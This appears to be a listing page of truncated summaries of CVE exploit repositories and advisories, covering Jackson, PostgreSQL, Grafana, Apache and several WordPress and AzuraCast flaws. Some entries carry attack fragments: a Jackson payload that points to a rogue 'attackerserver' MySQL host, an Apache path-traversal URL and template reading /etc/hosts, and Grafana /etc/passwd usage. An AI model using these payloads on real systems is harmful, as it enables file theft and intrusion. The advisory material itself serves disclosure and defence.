CVE-2019-12086

문서 설명 CVE-2019-12086 jackson 역직렬화 취약점 이용 1. 악성 MySQL 서버 시작: python roguemysqlserver.py 2. 동일한 디렉토리에서 mysql.log 확인: tail -f mysql.log 3. 취약점이 있는 애플리케이션에 다음 json 전송: "com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attackerserver:port/foo" Jackson이 악성 json 문자열을 역직렬화하면 악성 MySQL 서버에 연결되고, 읽힌 파일 내용이 ...

CVE-2025-1094-Exploit

CVE-2025-1094: WebSocket을 통한 SQL Injection에서 RCE로 🚀 이 저장소는 CVE-2025-1094 에 대한 개념 증명PoC 익스플로잇을 포함합니다. 이는 PostgreSQL의 취약점으로, WebSocket 하이재킹을 통해 SQL InjectionSQLi 공격이 원격 코드 실행RCE으로 확장될 수 있게 합니다. 개요 이 익스플로잇은 PostgreSQL의 SQL Injection 취약점을 이용하여 /etc/passwd와 같은 민감한 파일을 읽고 취약한 서버에 저장하는 악성 코드를 주입합니다. 그런 ...

CVE-2021-38819

CVE-2021-38819...

CVE-2023-5808

CVE-2023-5808 CVE-2023-5808은 Hitachi NAS HNAS의 System Management Unit SMU Backup & Restore 기능에서 발견된 안전하지 않은 직접 객체 참조 IDOR 취약점입니다. 이 취약점은 14.8.7825.01 이전의 SMU 버전에 영향을 미칩니다. 악용 이 악용에는 공격자가 Read-Only 또는 Global Administrator가 아닌 사용자 계정의 자격 증명을 통제할 수 있어야 합니다. 즉: Storage Administrator Server...

cve-2018-15968

Adobe Reader 범위를 벗어난 읽기 정보 공개 취약점 취약점 메모리 버퍼 경계 내에서의 작업에 대한 부적절한 제한 취약점 취약점 설명 이 취약점은 원격 공격자가 취약한 Adobe Reader 설치에서 민감한 정보를 노출할 수 있게 합니다. 이 취약점을 악용하려면 사용자 상호작용이 필요하며, 대상은 악성 페이지를 방문하거나 악성 PDF 파일을 열어야 합니다. 구체적인 결함은 손상된 PDF 파일 구문 분석 시 발생합니다. 문제는 사용자 제공 데이터에 대한 적절한 검증 부족으로 인해 할당된 객체의 끝을 넘어 읽기가 발생할 수...

shirocrack

shirocrack Golang으로 작성된 Apache Shiro 해시용 간단한 해시 크래커입니다. CVE-2024-4956 악용에 유용합니다. 간단히 정리하자면 CVE-2024-4956은 Sonatype Nexus Repository의 경로 탐색 취약점으로, 인증되지 않은 공격자가 서버에 네트워크 접근 권한만 있으면 경로를 알 경우 시스템에서 임의의 파일을 읽을 수 있습니다. 제가 본 모든 익스플로잇 데모는 /etc/passwd를 가져와서 끝내더군요. 좋긴 하지만, 이 취약점이 받은 심각한 CVSS 점수를 실제로 설명하지는...

AFR-in-OMSA

OMSA의 임의 파일 읽기 Dell OpenManage Server Administrator OMSA의 임의 파일 읽기 취약점 검증 - CVE-2016-4004, CVE-2021-21514 및 CVE-2020-5377...

CVE-2024-36991

CVE-2024-36991 Windows 환경의 Splunk Enterprise 9.2.2, 9.1.5, 9.0.10 미만 버전에서 민감한 파일을 읽을 수 있는 경로 탐색 취약점...

CVE-2021-43798

CVE-2021-43798 Grafana 8.x 임의 파일 읽기 http://ryze-t.com/posts/2021/12/15/CVE-2021-43798-Grafana%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96.html 사용법 exp http://example.com /etc/passwd 효과...

CVE-2023-26255-6

Jira 플러그인 STAGIL Navigation FileName 매개변수의 임의 파일 읽기 취약점 POC 스크립트 사용 방법은 다음과 같습니다: 단일 URL 감지 1. 명령줄 인터페이스를 통해 단일 URL 주소를 감지하려면 -U 매개변수를 사용하여 URL 매개변수를 전달합니다. 2. 반환된 결과를 확인합니다. is vulnerable!가 표시되면 해당 URL에 취약점이 존재한다는 뜻이며, 그렇지 않으면 취약점이 존재하지 않는다는 뜻입니다. 일괄 URL 감지 1. FOFA로 검색한 자산이나 테스트하려는 URL을 임의의 TXT...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex regex: -...

CVE-2026-86841

The Online Scheduling and Appointment Booking System WordPress plugin before 28.3 does not prevent deserialization of untrusted input and does not correctly restrict a privileged maintenance feature to administrators, allowing users granted a custom booking-management capability, which an...

EUVD-2026-87891

The Online Scheduling and Appointment Booking System WordPress plugin before 28.3 does not prevent deserialization of untrusted input and does not correctly restrict a privileged maintenance feature to administrators, allowing users granted a custom booking-management capability, which an...

CVE-2026-86841

The Online Scheduling and Appointment Booking System (Bookly) WordPress plugin, versions 23.2 through 28.2 , is vulnerable to a PHP Object Injection vulnerability. The root cause is the failure to prevent the deserialization of untrusted input and the improper restriction of a privileged maintena...

Server-side Request Forgery (SSRF)

Overview Affected versions of this package are vulnerable to Server-side Request Forgery SSRF via the getMediaFromRemoteUrl function. An attacker can access internal network resources or read arbitrary files by supplying a crafted remote playlist URL that points to internal HTTP endpoints or loca...

CVE-2026-100850

AzuraCast before 0.23.8 contains a server-side request forgery and local file read vulnerability in the AutoDJ remote playlist fetch backend/src/Radio/AutoDJ/QueueBuilder.php, getMediaFromRemoteUrl. A user with the station Media permission can create or update a playlist with source=remoteurl and...

CVE-2026-100860 heym before 0.0.105 Authentication Bypass via Redis Node

heym before 0.0.105 does not act on the result of the credential authorization lookup in the Redis workflow node backend/app/services/nodeexecution/nodes/redisnode.py. When getaccessiblecredential returns None — because the credential ID does not exist or the caller is not authorized to use it —...

CVE-2026-100860 heym before 0.0.105 Authentication Bypass via Redis Node

heym before 0.0.105 does not act on the result of the credential authorization lookup in the Redis workflow node backend/app/services/nodeexecution/nodes/redisnode.py. When getaccessiblecredential returns None — because the credential ID does not exist or the caller is not authorized to use it —...

CVE-2026-100860

The software heym before version 0.0.105 contains an Authentication Bypass vulnerability in the Redis workflow node (backend/app/services/node_execution/nodes/redis_node.py). The root cause is that the application fails to act on the result of credential authorization lookups; if _get_accessible_...

CVE-2026-100850 AzuraCast before 0.23.8 SSRF and Local File Read via Remote Playlist

AzuraCast before 0.23.8 contains a server-side request forgery and local file read vulnerability in the AutoDJ remote playlist fetch backend/src/Radio/AutoDJ/QueueBuilder.php, getMediaFromRemoteUrl. A user with the station Media permission can create or update a playlist with source=remoteurl and...